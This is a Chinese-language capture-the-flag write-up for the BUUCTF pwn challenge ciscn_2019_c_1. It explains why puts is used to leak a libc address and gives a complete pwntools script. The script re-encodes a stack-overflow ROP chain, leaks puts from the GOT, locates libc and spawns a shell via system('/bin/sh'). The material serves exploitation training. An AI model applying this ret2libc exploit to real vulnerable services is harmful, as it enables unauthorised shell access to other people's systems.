BUUCTF ciscn_2019_c_1

BUUCTF ciscn_2019_c_1_第1张图片
跑一下程序,大致流程是
BUUCTF ciscn_2019_c_1_第2张图片
BUUCTF ciscn_2019_c_1_第3张图片
BUUCTF ciscn_2019_c_1_第4张图片
BUUCTF ciscn_2019_c_1_第5张图片
到现在程序就基本分析完成,接下来需要构造rop泄露libc地址然后利用system等函数获得shell

我们首先要获得libc的基地址,可以通过puts函数入手,这里解释一下为什么通过puts函数而不通过其他函数,因为puts函数在我们进入encrypt函数之前已经调用了很多次了,对于每一个动态链接而言,第一次调用完成以后,就修正了.got表中的对应的puts函数的地址,所以我们可以通过puts函数泄露。
在这里插入图片描述
BUUCTF ciscn_2019_c_1_第6张图片
exp

from pwn import *
from LibcSearcher import *

def encrypt(text:list):
    new_list = []
    for i in text:
        if i <= 96 or i > 122:
            if i <= 64 or i > 90:
                if i > 47 and i <= 57:
                    i ^= 0xF
            else:
                i ^= 0xE
        else:
            i ^= 0xD
        new_list.append(chr(i))
    return ''.join(new_list)

context.log_level = 'debug'
proc_name = ['/home/moddemod/binary/ciscn_2019_c_1']
elf = ELF(proc_name[0])
p = process(proc_name)
# p = remote('node3.buuoj.cn', 26038)
p.recv()
p.sendline('1')
p.recv()

pop_rdi_ret = 0x400c83
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
main_addr = elf.symbols['main']
payload = 0x58 * b'a' + p64(pop_rdi_ret) + p64(got_puts) + p64(plt_puts) + p64(main_addr)
p.sendline(encrypt(list(payload)))
# p.recv()
print(p.recvuntil('\n'))
print(p.recvuntil('\n'))
puts_real_addr = u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))

libc = LibcSearcher('puts', puts_real_addr)
libc_base = puts_real_addr - libc.dump('puts')
p.sendline('1')
p.recvuntil('encrypted\n')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

ret = 0x4006b9
payload = b'9' * 0x58 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

BUUCTF ciscn_2019_c_1_第7张图片

你可能感兴趣的:(pwn)